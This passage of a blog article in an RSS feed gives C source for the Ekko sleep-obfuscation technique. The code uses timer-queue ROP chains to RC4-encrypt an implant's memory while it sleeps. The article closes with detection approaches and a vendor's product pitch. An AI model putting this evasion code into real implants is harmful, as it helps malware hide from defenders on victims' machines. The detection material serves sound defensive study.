        &lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageBase&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;R8&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PAGE_READWRITE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;R9&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;OldProtect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// ----- ROP 2: SystemFunction032(&amp;amp;Img, &amp;amp;Key) — RC4 encrypt -----&lt;/span&gt;
        &lt;span class="n"&gt;RopMemEnc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;  &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopMemEnc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SysFunc032&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopMemEnc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Img&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopMemEnc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// ----- ROP 3: WaitForSingleObject(NtCurrentProcess(), SleepTime) — sleep -----&lt;/span&gt;
        &lt;span class="n"&gt;RopDelay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;   &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopDelay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WaitForSingleObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopDelay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NtCurrentProcess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;RopDelay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SleepTime&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// ----- ROP 4: SystemFunction032(&amp;amp;Img, &amp;amp;Key) — RC4 decrypt -----&lt;/span&gt;
        &lt;span class="n"&gt;RopMemDec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;  &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopMemDec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SysFunc032&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopMemDec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Img&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopMemDec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// ----- ROP 5: VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &amp;amp;OldProtect) -----&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;  &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;VirtualProtect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageBase&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;R8&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PAGE_EXECUTE_READWRITE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopProtRX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;R9&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;OldProtect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// ----- ROP 6: SetEvent(hEvent) — wake the main thread -----&lt;/span&gt;
        &lt;span class="n"&gt;RopSetEvt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;  &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopSetEvt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SetEvent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;RopSetEvt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hEvent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// ======================================================&lt;/span&gt;
        &lt;span class="c1"&gt;// Step 5: Register the 6 timers; they fire in increasing DueTime order&lt;/span&gt;
        &lt;span class="c1"&gt;// ======================================================&lt;/span&gt;
        &lt;span class="c1"&gt;// Every timer callback is NtContinue, with the matching CONTEXT pointer as its parameter&lt;/span&gt;
        &lt;span class="c1"&gt;// DueTime step is 100 ms; Period=0 means one-shot&lt;/span&gt;
        &lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopMemEnc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopDelay&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopMemDec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopProtRX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;RopSetEvt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WT_EXECUTEINTIMERTHREAD&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// ======================================================&lt;/span&gt;
        &lt;span class="c1"&gt;// Step 6: The main thread sleeps, waiting for the ROP chain to complete&lt;/span&gt;
        &lt;span class="c1"&gt;// ======================================================&lt;/span&gt;
        &lt;span class="c1"&gt;// The process image is now encrypted; no identifiable Beacon signatures remain in memory&lt;/span&gt;
        &lt;span class="n"&gt;WaitForSingleObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;hEvent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;INFINITE&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Clean up the timer queue&lt;/span&gt;
    &lt;span class="n"&gt;DeleteTimerQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// Entry point — demonstrates a continuous loop of sleep obfuscation&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"[*] Ekko Sleep Obfuscation"&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;do&lt;/span&gt;
        &lt;span class="n"&gt;EkkoObf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// Sleep for 4 seconds per iteration&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Code Recap&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Key Operation&lt;/th&gt;
&lt;th&gt;APIs Involved&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initialization&lt;/td&gt;
&lt;td&gt;Create the Event and TimerQueue; resolve function addresses&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CreateEventW&lt;/code&gt;, &lt;code&gt;CreateTimerQueue&lt;/code&gt;, &lt;code&gt;GetProcAddress&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Image Locating&lt;/td&gt;
&lt;td&gt;Parse the PE header to obtain the base and size&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;GetModuleHandleA&lt;/code&gt;, PE header parsing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Context Capture&lt;/td&gt;
&lt;td&gt;Capture a thread context using a Timer Queue callback&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CreateTimerQueueTimer&lt;/code&gt; + &lt;code&gt;RtlCaptureContext&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ROP Orchestration&lt;/td&gt;
&lt;td&gt;Copy 6 CONTEXTs and set the target function and arguments for each&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;memcpy&lt;/code&gt;, manual &lt;code&gt;Rip/Rcx/Rdx/R8/R9&lt;/code&gt; assignment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Timer Registration&lt;/td&gt;
&lt;td&gt;Register 6 NtContinue callbacks at 100 ms intervals&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CreateTimerQueueTimer&lt;/code&gt; × 6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sleep/Wait&lt;/td&gt;
&lt;td&gt;The main thread blocks; memory stays encrypted&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WaitForSingleObject(hEvent, INFINITE)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  6. Security Analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Countermeasures Against Memory Scanning
&lt;/h3&gt;

&lt;p&gt;Ekko's core adversarial value:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Memory is ciphertext throughout the sleep window&lt;/strong&gt;: Between T2 and T4, the Beacon's PE image is fully RC4-encrypted, so traditional YARA scanning and PE structure detection cannot identify it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No extra disk I/O&lt;/strong&gt;: The entire encryption/decryption process happens in memory, producing no additional file operations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Abusing legitimate system mechanisms&lt;/strong&gt;: Timer Queues are a legitimate Windows feature, and both &lt;code&gt;NtContinue&lt;/code&gt; and &lt;code&gt;SystemFunction032&lt;/code&gt; are exported by the operating system&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.2 Detection Approaches
&lt;/h3&gt;

&lt;p&gt;Defenders can detect this class of Sleep Mask techniques from the following angles:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Timer Queue anomaly monitoring&lt;/strong&gt;: Monitor &lt;code&gt;CreateTimerQueueTimer&lt;/code&gt; calls, paying special attention to &lt;code&gt;NtContinue&lt;/code&gt; callbacks whose parameter points to a &lt;code&gt;CONTEXT&lt;/code&gt; structure&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Memory protection flip detection&lt;/strong&gt;: Monitor rapid &lt;code&gt;RX&lt;/code&gt; → &lt;code&gt;RW&lt;/code&gt; → &lt;code&gt;RX&lt;/code&gt; flips in process memory page protection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Thread behavior analysis&lt;/strong&gt;: Detect anomalous &lt;code&gt;NtContinue&lt;/code&gt; calls originating from the timer thread&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Memory entropy monitoring&lt;/strong&gt;: Periodically sample memory entropy during idle periods; a sudden rise may indicate encryption activity&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API call sequence correlation&lt;/strong&gt;: Treat the call sequence &lt;code&gt;VirtualProtect&lt;/code&gt; + &lt;code&gt;SystemFunction032&lt;/code&gt; + &lt;code&gt;WaitForSingleObject&lt;/code&gt; as a detection rule&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  6.3 iDefender's Real-World Detection and Blocking
&lt;/h3&gt;

&lt;p&gt;The detection approaches above are not merely theoretical. In real-world testing, &lt;strong&gt;iDefender&lt;/strong&gt; can effectively detect and block Ekko-style Sleep Mask techniques. Below is a screenshot of the Ekko PoC being detected in real time while it was running:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftfds9o8kiak9ir01n3pk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftfds9o8kiak9ir01n3pk.png" alt=" " width="639" height="416"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Summary
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;iDefender&lt;/strong&gt;'s detection does not rely on code signatures. No matter how Ekko's implementation is transformed — swapping encryption algorithms, randomizing timer intervals, obfuscating the order of API calls — the very act of triggering the obfuscation exposes behavioral indicators: anomalous timer callback orchestration, &lt;code&gt;NtContinue&lt;/code&gt; restoring an attacker-controlled context, and sudden flips of memory page protection. These behavioral patterns are detected at the moment of execution, rather than discovered after the fact through static scanning.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For more technical details and product capabilities of iDefender - The Behavior-Driven Intelligent Defender, please visit: &lt;a href="https://idefender.net" rel="noopener noreferrer"&gt;iDefender Official Website&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html" rel="noopener noreferrer"&gt;Austin Hudson (@SecIdiot) - MDSec Nighthawk Study&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Cracked5pider/Ekko" rel="noopener noreferrer"&gt;Ekko PoC - C5pider&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mdsec.co.uk/" rel="noopener noreferrer"&gt;MDSec Nighthawk - Peter Winter-Smith&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://learn.microsoft.com/en-us/windows/win32/sync/timer-queues" rel="noopener noreferrer"&gt;Microsoft Docs - Timer Queues&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://doxygen.reactos.org/" rel="noopener noreferrer"&gt;SystemFunction032 - ReactOS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>sleepmask</category>
      <category>security</category>
      <category>redteam</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
